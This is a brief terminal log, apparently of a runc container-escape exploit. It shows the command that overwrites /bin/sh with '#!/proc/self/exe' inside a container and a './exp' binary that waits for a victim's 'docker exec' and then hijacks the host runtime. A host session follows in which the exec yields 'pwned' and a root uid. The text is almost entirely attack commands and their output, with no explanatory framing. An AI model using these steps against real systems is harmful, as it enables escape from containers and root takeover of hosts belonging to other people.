printf '#!/proc/self/exe' > /bin/sh

root@cebad431c120:/# printf '#!/proc/self/exe' > /bin/sh
root@cebad431c120:/# ./exp  # Waits until victim issues the exec command
Found process: 42851
Exploiting PID: /proc/42851/exe
Time to PWN
Success! Next time runc is run we will get RCE!
root@cebad431c120:/# 

user@server:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
user@server:~$ sudo docker exec cebad431c120 sh
No help topic for '/usr/bin/sh'
user@server:~$ sudo docker exec cebad431c120 sh
pwned
uid=0(root) gid=0(root) groups=0(root)
failed to retrieve OCI runtime exec pid: open /run/containerd/io.containerd.runtime.v1.linux/moby/cebad431c120d2378925e0712efaafe844616d618d99df4a479283d45f86c0fc/a70ea68c10e0eb3912fde8978e879e77b04ed32731338329024140db47dce1d3.pid: no such file or directory: unknown
user@server:~$